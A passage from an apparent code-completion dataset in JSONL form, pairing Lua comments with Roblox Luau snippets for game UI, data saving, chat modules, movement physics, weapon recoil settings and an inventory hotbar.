\"Visible\" then\n\t\twait(3)\n\t\tscript.Parent.Controls.Window.Error.Visible = false\n\tend\nend)\n\nUserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end)\nUserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end)\n\n\nscript.Parent.Controls.Toggle.MouseButton1Click:connect(function()\n\tcontrolsOpen = not controlsOpen\n\tif controlsOpen then\n\t\tscript.Parent.Controls.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\t\tscript.Parent.Controls.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\telse\n\t\tscript.Parent.Controls.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\t\tscript.Parent.Controls.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true)\n\tend\nend)\n\nscript.Parent.Controls.Window.Tabs.Keyboard.MouseButton1Click:connect(function()\n\tscript.Parent.Controls.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\nscript.Parent.Controls.Window.Tabs.Mouse.MouseButton1Click:connect(function()\n\tscript.Parent.Controls.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\nscript.Parent.Controls.Window.Tabs.Controller.MouseButton1Click:connect(function()\n\tscript.Parent.Controls.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\n\tscript.Parent.Controls.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true)\nend)\n\nwait(.5)\nscript.Parent.Controls.Toggle:TweenPosition(UDim2.new(0, 50, 1, -30),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false)\t\nfor i=1,6 do\n\tscript.Parent.Controls.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255)\n\twait(.2)\n\tif controlsOpen then\n\t\tscript.Parent.Controls.Toggle.BackgroundColor3 = Color3.new(1,85/255,.5)\n\telse\n\t\tscript.Parent.Controls.Toggle.BackgroundColor3 = Color3.new(1,170/255,0)\n\tend\n\twait(.2)\nend\n"} +{"prompt": "-----------------------------------------------| Save Stats |------------------------------------------------------------", "completion": "\n\n\nlocal DataStoreService = game:GetService(\"DataStoreService\")\nlocal myDataStore = DataStoreService:GetDataStore(\"myDataStore\")\n\n\ngame.Players.PlayerAdded:Connect(function(player)\n\tlocal leaderstats = Instance.new(\"Folder\")\n\tleaderstats.Name = \"leaderstats\"\n\tleaderstats.Parent = player\n\n\tlocal Time = Instance.new(\"IntValue\")\n\tTime.Name = \"Speed\"\n\tTime.Parent = leaderstats\n\n\tlocal playerUserId = \"Player\"..player.UserId\n\n\tlocal data \n\n\tlocal success, errormessage = pcall(function()\n\t\tdata = myDataStore:GetAsync(playerUserId) \n\tend)\n\n\n\tif success then\n\t\tTime.Value = data \n\tend\n\n\twhile wait(1) do\n\t\tplayer.leaderstats.Speed.Value = player.leaderstats.Speed.Value + 1 --Don't change it or it will make it go up twice\n\tend\nend)\n\ngame.Players.PlayerRemoving:Connect(function(player)\n\tlocal playerUserId = \"Player\"..player.UserId\n\n\tlocal data = player.leaderstats.Speed.Value\n\n\tmyDataStore:SetAsync(playerUserId, data) \n\nend)\n"} +{"prompt": "--////////////////////////////////////////////////////////////////////////////////////////////\n--///////////// Code to talk to topbar and maintain set/get core backwards compatibility stuff\n--////////////////////////////////////////////////////////////////////////////////////////////", "completion": "\nlocal Util = {}\ndo\n\tfunction Util.Signal()\n\t\tlocal sig = {}\n\n\t\tlocal mSignaler = Instance.new('BindableEvent')\n\n\t\tlocal mArgData = nil\n\t\tlocal mArgDataCount = nil\n\n\t\tfunction sig:fire(...)\n\t\t\tmArgData = {...}\n\t\t\tmArgDataCount = select('#', ...)\n\t\t\tmSignaler:Fire()\n\t\tend\n\n\t\tfunction sig:connect(f)\n\t\t\tif not f then error(\"connect(nil)\", 2) end\n\t\t\treturn mSignaler.Event:connect(function()\n\t\t\t\tf(unpack(mArgData, 1, mArgDataCount))\n\t\t\tend)\n\t\tend\n\n\t\tfunction sig:wait()\n\t\t\tmSignaler.Event:wait()\n\t\t\tassert(mArgData, \"Missing arg data, likely due to :TweenSize/Position corrupting threadrefs.\")\n\t\t\treturn unpack(mArgData, 1, mArgDataCount)\n\t\tend\n\n\t\treturn sig\n\tend\nend\n\n\nfunction SetVisibility(val)\n\tChatWindow:SetVisible(val)\n\tmoduleApiTable.VisibilityStateChanged:fire(val)\n\tmoduleApiTable.Visible = val\n\n\tif (moduleApiTable.IsCoreGuiEnabled) then\n\t\tif (val) then\n\t\t\tInstantFadeIn()\n\t\telse\n\t\t\tInstantFadeOut()\n\t\tend\n\tend\nend\n\nlocal DoChatBarFocus = nil\n\ndo\n\tmoduleApiTable.TopbarEnabled = true\n\tmoduleApiTable.MessageCount = 0\n\tmoduleApiTable.Visible = true\n\tmoduleApiTable.IsCoreGuiEnabled = true\n\n\tfunction moduleApiTable:ToggleVisibility()\n\t\tSetVisibility(not ChatWindow:GetVisible())\n\tend\n\n\tfunction moduleApiTable:SetVisible(visible)\n\t\tif (ChatWindow:GetVisible() ~= visible) then\n\t\t\tSetVisibility(visible)\n\t\tend\n\tend\n\n\tfunction moduleApiTable:FocusChatBar()\n\t\tChatBar:CaptureFocus()\n\tend\n\n\tfunction moduleApiTable:EnterWhisperState(player)\n\t\tChatBar:EnterWhisperState(player)\n\tend\n\n\tfunction moduleApiTable:GetVisibility()\n\t\treturn ChatWindow:GetVisible()\n\tend\n\n\tfunction moduleApiTable:GetMessageCount()\n\t\treturn self.MessageCount\n\tend\n\n\tfunction moduleApiTable:TopbarEnabledChanged(enabled)\n\t\tself.TopbarEnabled = enabled\n\t\tself.CoreGuiEnabled:fire(game:GetService(\"StarterGui\"):GetCoreGuiEnabled(Enum.CoreGuiType.Chat))\n\tend\n\n\tfunction moduleApiTable:IsFocused(useWasFocused)\n\t\treturn ChatBar:IsFocused()\n\tend\n\n\tmoduleApiTable.ChatBarFocusChanged = Util.Signal()\n\tmoduleApiTable.VisibilityStateChanged = Util.Signal()\n\tmoduleApiTable.MessagesChanged = Util.Signal()\n\n\n\tmoduleApiTable.MessagePosted = Util.Signal()\n\tmoduleApiTable.CoreGuiEnabled = Util.Signal()\n\n\tmoduleApiTable.ChatMakeSystemMessageEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowPositionEvent = Util.Signal()\n\tmoduleApiTable.ChatWindowSizeEvent = Util.Signal()\n\tmoduleApiTable.ChatBarDisabledEvent = Util.Signal()\n\n\n\tfunction moduleApiTable:fChatWindowPosition()\n\t\treturn ChatWindow.GuiObject.Position\n\tend\n\n\tfunction moduleApiTable:fChatWindowSize()\n\t\treturn ChatWindow.GuiObject.Size\n\tend\n\n\tfunction moduleApiTable:fChatBarDisabled()\n\t\treturn not ChatBar:GetEnabled()\n\tend\n\n\tif FFlagUserHandleChatHotKeyWithContextActionService then\n\t\tlocal TOGGLE_CHAT_ACTION_NAME = \"ToggleChat\"\n\n\t\t-- Callback when chat hotkey is pressed\n\t\tlocal function handleAction(actionName, inputState, inputObject)\n\t\t\tif actionName == TOGGLE_CHAT_ACTION_NAME and inputState == Enum.UserInputState.Begin and canChat and inputObject.UserInputType == Enum.UserInputType.Keyboard then\n\t\t\t\tDoChatBarFocus()\n\t\t\tend\n\t\tend\n\t\tContextActionService:BindAction(TOGGLE_CHAT_ACTION_NAME, handleAction, true, Enum.KeyCode.Slash)\n\telse\n\t\tfunction moduleApiTable:SpecialKeyPressed(key, modifiers)\n\t\t\tif (key == Enum.SpecialKey.ChatHotkey) then\n\t\t\t\tif canChat then\n\t\t\t\t\tDoChatBarFocus()\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nmoduleApiTable.CoreGuiEnabled:connect(function(enabled)\n\tmoduleApiTable.IsCoreGuiEnabled = enabled\n\n\tenabled = enabled and (moduleApiTable.TopbarEnabled or ChatSettings.ChatOnWithTopBarOff)\n\n\tChatWindow:SetCoreGuiEnabled(enabled)\n\n\tif (not enabled) then\n\t\tChatBar:ReleaseFocus()\n\t\tInstantFadeOut()\n\telse\n\t\tInstantFadeIn()\n\tend\nend)\n\nfunction trimTrailingSpaces(str)\n\tlocal lastSpace = #str\n\twhile lastSpace > 0 do\n\t\t--- The pattern ^%s matches whitespace at the start of the string. (Starting from lastSpace)\n\t\tif str:find(\"^%s\", lastSpace) then\n\t\t\tlastSpace = lastSpace - 1\n\t\telse\n\t\t\tbreak\n\t\tend\n\tend\n\treturn str:sub(1, lastSpace)\nend\n\nmoduleApiTable.ChatMakeSystemMessageEvent:connect(function(valueTable)\n\tif (valueTable[\"Text\"] and type(valueTable[\"Text\"]) == \"string\") then\n\t\twhile (not DidFirstChannelsLoads) do wait() end\n\n\t\tlocal channel = ChatSettings.GeneralChannelName\n\t\tlocal channelObj = ChatWindow:GetChannel(channel)\n\n\t\tif (channelObj) then\n\t\t\tlocal messageObject = {\n\t\t\t\tID = -1,\n\t\t\t\tFromSpeaker = nil,\n\t\t\t\tSpeakerUserId = 0,\n\t\t\t\tOriginalChannel = channel,\n\t\t\t\tIsFiltered = true,\n\t\t\t\tMessageLength = string.len(valueTable.Text),\n\t\t\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(valueTable.Text)),\n\t\t\t\tMessage = trimTrailingSpaces(valueTable.Text),\n\t\t\t\tMessageType = ChatConstants.MessageTypeSetCore,\n\t\t\t\tTime = os.time(),\n\t\t\t\tExtraData = valueTable,\n\t\t\t}\n\t\t\tchannelObj:AddMessageToChannel(messageObject)\n\t\t\tChannelsBar:UpdateMessagePostedInChannel(channel)\n\n\t\t\tmoduleApiTable.MessageCount = moduleApiTable.MessageCount + 1\n\t\t\tmoduleApiTable.MessagesChanged:fire(moduleApiTable.MessageCount)\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatBarDisabledEvent:connect(function(disabled)\n\tif canChat then\n\t\tChatBar:SetEnabled(not disabled)\n\t\tif (disabled) then\n\t\t\tChatBar:ReleaseFocus()\n\t\tend\n\tend\nend)\n\nmoduleApiTable.ChatWindowSizeEvent:connect(function(size)\n\tChatWindow.GuiObject.Size = size\nend)\n\nmoduleApiTable.ChatWindowPositionEvent:connect(function(position)\n\tChatWindow.GuiObject.Position = position\nend)\n"} +{"prompt": "-- connect events", "completion": "\nHumanoid.Died:connect(onDied)\nHumanoid.Running:connect(onRunning)\nHumanoid.Jumping:connect(onJumping)\nHumanoid.Climbing:connect(onClimbing)\nHumanoid.GettingUp:connect(onGettingUp)\nHumanoid.FreeFalling:connect(onFreeFall)\nHumanoid.FallingDown:connect(onFallingDown)\nHumanoid.Seated:connect(onSeated)\nHumanoid.PlatformStanding:connect(onPlatformStanding)\nHumanoid.Swimming:connect(onSwimming)\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,VRecoil = {12,16}\t\t\t\t--- Vertical Recoil\n\t,HRecoil = {5,7}\t\t\t\t--- Horizontal Recoil\n\t,AimRecover = .7\t\t\t\t---- Between 0 & 1\n\t\n\t,RecoilPunch = .15\n\t,VPunchBase = 2.5\t\t\t\t--- Vertical Punch\n\t,HPunchBase = 1.7\t\t\t\t--- Horizontal Punch\n\t,DPunchBase = 1 \t\t\t\t--- Tilt Punch | useless\n\t\n\t,AimRecoilReduction = 5 \t\t--- Recoil Reduction Factor While Aiming (Do not set to 0)\n\t,PunchRecover = 0.1\n\t,MinRecoilPower = .5\n\t,MaxRecoilPower = 3.5\n\t,RecoilPowerStepAmount = .25\n\t\n\t,MinSpread = 0.56\t\t\t\t--- Min bullet spread value | Studs\n\t,MaxSpread = 35\t\t\t\t\t--- Max bullet spread value | Studs\n\t,AimInaccuracyStepAmount = 0.5\n\t,WalkMultiplier = 0\t\t\t\t--- Bullet spread based on player speed\n\n\t,SwayBase = 0.25\t\t\t\t--- Weapon Base Sway | Studs\n\t,MaxSway =\t1.5\t\t\t\t\t--- Max sway value based on player stamina | Studs"} +{"prompt": "-- If in-game, enable ctrl hotkeys for prism selection", "completion": "\nif Mode == 'Tool' then\n\tAssignHotkey({ 'LeftControl', 'K' }, Targeting.PrismSelect);\n\tAssignHotkey({ 'RightControl', 'K' }, Targeting.PrismSelect);\nend;\n"} +{"prompt": "-- ButtonClick", "completion": "\nExitButton.Activated:Connect(hide)\nInteractionButton.Activated:Connect(show)\nToGameButton.Activated:Connect(EnterGame)\n\n"} +{"prompt": "-- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.", "completion": "\nlocal CosmeticBullet = Instance.new(\"Part\")\nCosmeticBullet.Material = Enum.Material.Neon\nCosmeticBullet.Color = Color3.fromRGB(0, 196, 255)\nCosmeticBullet.CanCollide = false\nCosmeticBullet.Anchored = true\nCosmeticBullet.Size = Vector3.new(0.2, 0.2, 2.4)\n"} +{"prompt": "--Redirects velocity", "completion": "\nfunction MathUtils:GroundAccelerate(wishDir, wishSpeed, accel, velocity, dt)\n --Cap velocity\n local speed = velocity.Magnitude\n if speed > wishSpeed then\n velocity = velocity.unit * wishSpeed\n end\n\n local wishVel = wishDir * wishSpeed\n local pushDir = wishVel - velocity\n\n local pushLen = pushDir.magnitude\n\n local canPush = accel * dt * wishSpeed\n\n if canPush > pushLen then\n canPush = pushLen\n end\n if canPush < 0.00001 then\n return velocity\n end\n return velocity + (canPush * pushDir.Unit)\nend\n\nfunction MathUtils:Accelerate(wishDir, wishSpeed, accel, velocity, dt)\n local speed = velocity.magnitude\n\n local currentSpeed = velocity:Dot(wishDir)\n local addSpeed = wishSpeed - currentSpeed\n\n if addSpeed <= 0 then\n return velocity\n end\n\n local accelSpeed = accel * dt * wishSpeed\n if accelSpeed > addSpeed then\n accelSpeed = addSpeed\n end\n\n velocity = velocity + (accelSpeed * wishDir)\n\n --if we're already going over max speed, don't go any faster than that\n --Or you'll get strafe jumping!\n if speed > wishSpeed and velocity.magnitude > speed then\n velocity = velocity.unit * speed\n end\n return velocity\nend\n\nfunction MathUtils:CapVelocity(velocity, maxSpeed)\n local mag = velocity.magnitude\n mag = math.min(mag, maxSpeed)\n if mag > 0.01 then\n return velocity.Unit * mag\n end\n return Vector3.zero\nend\n\n\nfunction MathUtils:ClipVelocity(input, normal, overbounce)\n local backoff = input:Dot(normal)\n\n if backoff < 0 then\n backoff = backoff * overbounce\n else\n backoff = backoff / overbounce\n end\n\n local changex = normal.x * backoff\n local changey = normal.y * backoff\n local changez = normal.z * backoff\n\n return Vector3.new(input.x - changex, input.y - changey, input.z - changez)\nend\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nlocal v1 = {};\nlocal v2 = {};\nv2.__index = v2;\nlocal l__ClientChatModules__3 = game:GetService(\"Chat\"):WaitForChild(\"ClientChatModules\");\nlocal l__CommandModules__4 = l__ClientChatModules__3:WaitForChild(\"CommandModules\");\nlocal l__Parent__5 = script.Parent;\nlocal u1 = require(l__CommandModules__4:WaitForChild(\"Util\"));\nfunction v2.SetupCommandProcessors(p1)\n\tlocal v6 = l__CommandModules__4:GetChildren();\n\tfor v7 = 1, #v6 do\n\t\tif v6[v7]:IsA(\"ModuleScript\") and v6[v7].Name ~= \"Util\" then\n\t\t\tlocal v8 = nil;\n\t\t\tlocal v9 = require(v6[v7]);\n\t\t\tlocal v10 = v9[u1.KEY_COMMAND_PROCESSOR_TYPE];\n\t\t\tv8 = v9[u1.KEY_PROCESSOR_FUNCTION];\n\t\t\tif v10 == u1.IN_PROGRESS_MESSAGE_PROCESSOR then\n\t\t\t\ttable.insert(p1.InProgressMessageProcessors, v8);\n\t\t\telseif v10 == u1.COMPLETED_MESSAGE_PROCESSOR then\n\t\t\t\ttable.insert(p1.CompletedMessageProcessors, v8);\n\t\t\tend;\n\t\tend;\n\tend;\nend;\nlocal u2 = require(l__ClientChatModules__3:WaitForChild(\"ChatSettings\"));\nfunction v2.ProcessCompletedChatMessage(p2, p3, p4)\n\tfor v11 = 1, #p2.CompletedMessageProcessors do\n\t\tif p2.CompletedMessageProcessors[v11](p3, p4, u2) then\n\t\t\treturn true;\n\t\tend;\n\tend;\n\treturn false;\nend;\nfunction v2.ProcessInProgressChatMessage(p5, p6, p7, p8)\n\tfor v12 = 1, #p5.InProgressMessageProcessors do\n\t\tlocal v13 = p5.InProgressMessageProcessors[v12](p6, p7, p8, u2);\n\t\tif v13 then\n\t\t\treturn v13;\n\t\tend;\n\tend;\n\treturn nil;\nend;\nfunction v1.new()\n\tlocal v14 = setmetatable({}, v2);\n\tv14.CompletedMessageProcessors = {};\n\tv14.InProgressMessageProcessors = {};\n\tv14:SetupCommandProcessors();\n\treturn v14;\nend;\nreturn v1;\n"} +{"prompt": "--------------------------------------------------------------------------------", "completion": "\n\nwhile true do\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tif Character:FindFirstChild(\"Regen\") then\n\t\t\tlocal dt = task.wait(0.000001)\n\t\t\tlocal dh = dt*75/100*Humanoid.MaxHealth\n\t\t\t\n\t\t\tHumanoid.Health = math.min(Humanoid.Health + dh, Humanoid.MaxHealth)\n\t\telse\n\t\t\tlocal dt = wait(REGEN_STEP)\n\t\t\tlocal dh = dt*REGEN_RATE*Humanoid.MaxHealth\n\t\t\t\n\t\t\tHumanoid.Health = math.min(Humanoid.Health + dh, Humanoid.MaxHealth)\n\t\tend\n\tend\n\tHumanoid.HealthChanged:Wait()\nend\n"} +{"prompt": "--// Event Connections", "completion": "\nL_104_.OnClientEvent:connect(function(L_296_arg1, L_297_arg2)\n\tif L_296_arg1 ~= L_2_ then\n\t\tlocal L_298_ = L_296_arg1.Character\n\t\tlocal L_299_ = L_298_.AnimBase.AnimBaseW\n\t\tlocal L_300_ = L_299_.C1\n\t\tif L_297_arg2 then\n\t\t\tL_116_(L_299_, nil , L_298_.Head.CFrame, function(L_301_arg1)\n\t\t\t\treturn math.sin(math.rad(L_301_arg1))\n\t\t\tend, 0.25)\n\t\telseif not L_297_arg2 then\n\t\t\tL_116_(L_299_, nil , L_300_, function(L_302_arg1)\n\t\t\t\treturn math.sin(math.rad(L_302_arg1))\n\t\t\tend, 0.25)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Etc", "completion": "\nlocal DESTROY_ON_DEATH = getValueFromConfig(\"DestroyOnDeath\")\nlocal RAGDOLL_ENABLED = getValueFromConfig(\"RagdollEnabled\")\n\nlocal DEATH_DESTROY_DELAY = 5\nlocal PATROL_WALKSPEED = 12\nlocal MIN_REPOSITION_TIME = 2\nlocal MAX_REPOSITION_TIME = 10\nlocal MAX_PARTS_PER_HEARTBEAT = 50\nlocal SEARCH_DELAY = 1\n"} +{"prompt": "--[=[\n\t@function equalsDeep\n\t@within Array\n\n\t@param ... ...{any} -- The arrays to compare.\n\t@return boolean -- Whether the arrays are equal.\n\n\tCompares two arrays for equality using deep comparison.\n\n\t```lua\n\tlocal array = { 1, 2, 3, { 4, 5 } }\n\tlocal other = { 1, 2, 3, { 4, 5 } }\n\n\tlocal value = EqualsDeep(array, other) -- true\n\tlocal value = EqualsDeep(array, other, { 1, 2, 3, { 4, 5 } }) -- true\n\tlocal value = EqualsDeep(array, other, { 1, 2, 3, { 4, 6 } }) -- false\n\t```\n]=]", "completion": "\nlocal function equalsDeep(...: { T }): boolean\n\tif Util.equalObjects(...) then\n\t\treturn true\n\tend\n\n\tlocal totalArgs = select(\"#\", ...)\n\tlocal firstItem = select(1, ...)\n\n\tfor i = 2, totalArgs do\n\t\tlocal item = select(i, ...)\n\n\t\tif not compareDeep(firstItem, item) then\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn true\nend\n\nreturn equalsDeep\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nReturns a function that creates bridges.\n--]]", "completion": "\n\n\n"} +{"prompt": "--[[\n\tBased on the given [UserInputType], a cooresponding enum representing the\n\tcurrent device is returned.\n\n\t```lua\n\tgetCurrentDevice(Enum.UserInputType.KeyCode) -- \"Computer\"\n\tgetCurrentDevice(Enum.UserInputType.Touch) -- \"Mobile\"\n\tgetCurrentDevice(Enum.UserInputType.Gamepad1) -- \"Gamepad\"\n\t```\n\n\t@within Modules\n]]", "completion": "\n\nlocal function getCurrentDevice(inputType: Enum.UserInputType)\n\tfor group, patterns in pairs(constants.DeviceInputTypePatterns) do\n\t\tfor _, pattern in ipairs(patterns) do\n\t\t\tif inputType.Name:match(pattern) then\n\t\t\t\treturn enums.Device[group]\n\t\t\tend\n\t\tend\n\tend\n\n\treturn enums.Device.Unknown\nend\n\nreturn getCurrentDevice\n"} +{"prompt": "-- Loop through all players when model added", "completion": "\nfor _, player in pairs(game.Players:GetPlayers()) do\n\taddMyLocalScript(player)\nend\n"} +{"prompt": "----", "completion": "\nlocal equippedTransparency = 0\nlocal unequippedTrnasparency = .2\nlocal hotbarSpots = 9\nlocal Dragging = false\nlocal debris = game:GetService(\"Debris\")\nlocal ItemDragged = nil\nlocal PasteItem = nil\n\nlocal mouse = plr:GetMouse()\nlocal MouseGui = script.Parent:WaitForChild(\"Template\")\n\nlocal bar = script.Parent.Frame\nlocal template = bar.UIListLayout.Template\nlocal OwnedTools = {\"\"}\nfor i = 1,hotbarSpots,1 do\n\ttable.insert(OwnedTools,\"\")\n\tlocal UI = template:Clone()\n\tUI.Parent = bar\n\tUI.Name = i\n\tUI.Number.Text = i\nend\nlocal function play(sound)\n\tlocal audio = sound:Clone()\n\taudio.Parent = sound.Parent\n\taudio:Play()\n\tdebris:AddItem(audio, audio.TimeLength*audio.PlaybackSpeed)\nend\nlocal function SelectToolGui(except,reset,NewTool)\n\tfor i,v in pairs(frame:GetChildren())do\n\t\tif v:IsA(\"ImageButton\") then\n\t\t\tv:FindFirstChild(\"Selected\").Visible = false\n\t\t\tv.Transparency = unequippedTrnasparency\n\t\tend\n\tend\n\n\tfor i,v in pairs(ScrollFrame:GetChildren())do\n\t\tif v:IsA(\"ImageButton\")then\n\t\t\tv:FindFirstChild(\"Selected\").Visible = false\n\t\tend\n\tend\n\n\tif reset then\n\t\tCurrentSlotEquipped = \"\"\n\telse\n\t\tif CurrentSlotEquipped ~= except then\n\t\t\tif except <= hotbarSpots then\n\t\t\t\tCurrentSlotEquipped = except\n\t\t\t\tplay(script.Select)\n\t\t\t\tlocal selectedPart = frame:FindFirstChild(tostring(except))\n\t\t\t\tselectedPart:FindFirstChild(\"Selected\").Visible = true\n\t\t\t\tselectedPart.Transparency = equippedTransparency\n\t\t\telse\n\t\t\t\tCurrentSlotEquipped = except\n\t\t\t\tplay(script.Select)\n\t\t\t\tlocal selectedPart = ScrollFrame:WaitForChild(tostring(except))\n\t\t\t\tselectedPart:FindFirstChild(\"Selected\").Visible = true\n\t\t\tend\n\t\telseif CurrentSlotEquipped == except then\n\t\t\tCurrentSlotEquipped = \"\"\n\t\tend\n\tend\n\tif NewTool == nil then\n\t\tlocal ToolForEquipping = OwnedTools[CurrentSlotEquipped]\n\t\tscript.Toolbar:FireServer(CurrentSlotEquipped,ToolForEquipping)\n\tend\nend\n\nlocal function ToolAdded(child,parent)\n\tif child:IsA(\"Tool\") and table.find(OwnedTools,child) == nil then\n\n\t\tif table.find(OwnedTools,\"\")then\n\t\t\tlocal emptySpot = table.find(OwnedTools,\"\")\n\t\t\ttable.remove(OwnedTools,emptySpot)\n\t\t\ttable.insert(OwnedTools,emptySpot,child)\n\t\t\tif parent == char then\n\t\t\t\tSelectToolGui(emptySpot,nil,true)\n\t\t\tend\n\t\telse\n\t\t\ttable.insert(OwnedTools,child)\n\t\t\tif parent == char then\n\t\t\t\tSelectToolGui(#OwnedTools,nil,true)\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function CheckForTools()\n\tfor i,v in pairs(bp:GetChildren())do\n\t\tToolAdded(v,bp)\n\tend\n\n\tfor i,v in pairs(char:GetChildren())do\n\t\tToolAdded(v,char)\n\tend\nend\n\nlocal function ToolParentChanged()\n\tfor i,v in pairs(OwnedTools)do\n\t\tif v ~= \"\" then\n\t\t\tif v.Parent ~= char and v.Parent ~= bp then\n\t\t\t\ttable.remove(OwnedTools,i)\n\t\t\t\tif ScrollFrame:FindFirstChild(tostring(i))then\n\t\t\t\t\tScrollFrame:FindFirstChild(tostring(i)):Destroy()\n\t\t\t\tend\n\t\t\t\ttable.insert(OwnedTools,i,\"\")\n\t\t\tend\n\t\tend\n\tend\nend\n\nfor i,v in pairs(frame:GetChildren())do\n\tif v:IsA(\"ImageButton\") then\n\t\tif v.Item.Value ~= nil then\n\t\t\tv.ToolName.Text = tostring(v.Item.Value)\n\t\telse\n\t\t\tv.ToolName.Text = \"\"\n\t\tend\n\tend\nend\nCheckForTools()\n\nfor i,v in pairs(frame:GetChildren())do\n\tif v:IsA(\"ImageButton\") then\n\t\tv.Item.Changed:Connect(function()\n\t\t\tif v.Item.Value ~= nil then\n\t\t\t\tv.ToolName.Text = tostring(v.Item.Value)\n\t\t\telse\n\t\t\t\tv.ToolName.Text = \"\"\n\t\t\tend\n\t\tend)\n\t\tv.MouseButton1Down:Connect(function()\n\t\t\tif v.Item.Value ~= nil then\n\t\t\t\tif inventory.Visible == false then\n\t\t\t\t\tSelectToolGui(tonumber(v.Name))\n\t\t\t\tend\n\t\t\tend\n\t\tend)\n\tend\nend\n\nuis.InputBegan:Connect(function(Input,GP)\n\tif (GP) then return end\n\tlocal val = Input.KeyCode.Value-48\n\tif val > 0 and val < 10 then\n\t\tif frame[val].Item.Value then\n\t\t\tSelectToolGui(val)\n\t\tend\n\telseif (Input.KeyCode == Enum.KeyCode.Backquote) then\n\t\tinventory.Visible = not inventory.Visible\n\n\t\tplay(script.Open)\n\telseif (Input.KeyCode == Enum.KeyCode.Backspace) then\n\t\tSelectToolGui(1,\"true\")\n\tend\nend)\n\nchar.ChildAdded:Connect(function(child)\n\tToolAdded(child,char)\nend)\n\nbp.ChildAdded:Connect(function(child)\n\tToolAdded(child,bp)\nend)\n\nlocal function upDateToolBar()\n\tfor i,v in pairs(OwnedTools)do\n\t\tfor a,b in pairs(frame:GetChildren())do\n\t\t\tif b.Name == tostring(i) then\n\t\t\t\tif v ~= \"\" then\n\t\t\t\t\tb.Item.Value = v\n\t\t\t\t\tb.ToolName.Text = v.Name\n\t\t\t\telse\n\t\t\t\t\tb.ToolName.Text = \"\"\n\t\t\t\t\tb.Item.Value = nil\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nlocal function CreateButtonForTool(i,v)\n\tlocal template = inventory.ImageLabel.ScrollingFrame.Template\n\n\tlocal NewButton = template:Clone()\n\tNewButton.Parent = template.Parent\n\tNewButton.Visible = true\n\tNewButton.ToolName.Text = tostring(v.Name)\n\tNewButton.Name = tostring(i) \n\t\n\t\n\n\tNewButton.MouseButton2Click:Connect(function()\n\t\tif table.find(OwnedTools,\"\")then\n\t\t\tlocal NewEmptySpot = table.find(OwnedTools,\"\")\n\n\t\t\tif NewEmptySpot < 10 then\n\t\t\t\tplay(script.Switch)\n\t\t\t\ttable.remove(OwnedTools,NewEmptySpot)\n\t\t\t\ttable.insert(OwnedTools,NewEmptySpot,v)\n\t\t\t\ttable.remove(OwnedTools,i)\n\t\t\t\ttable.insert(OwnedTools,i,\"\")\n\t\t\t\tNewButton:Destroy()\n\t\t\tend\n\t\tend\n\tend)\n\n\n\tlocal gui = NewButton\t\n\n\tgui.InputBegan:Connect(function(input)\n\t\tif input.UserInputType == Enum.UserInputType.MouseButton1 and inventory.Visible == true and ItemDragged == nil and Dragging == false then\n\t\t\tDragging = true\n\t\t\tgui.Visible = false\n\n\t\t\tItemDragged = tonumber(gui.Name)\n\t\t\tMouseGui.Number.Text = \"\"\n\t\t\tMouseGui.ToolName.Text = gui.ToolName.Text\n\t\t\tMouseGui.Visible = 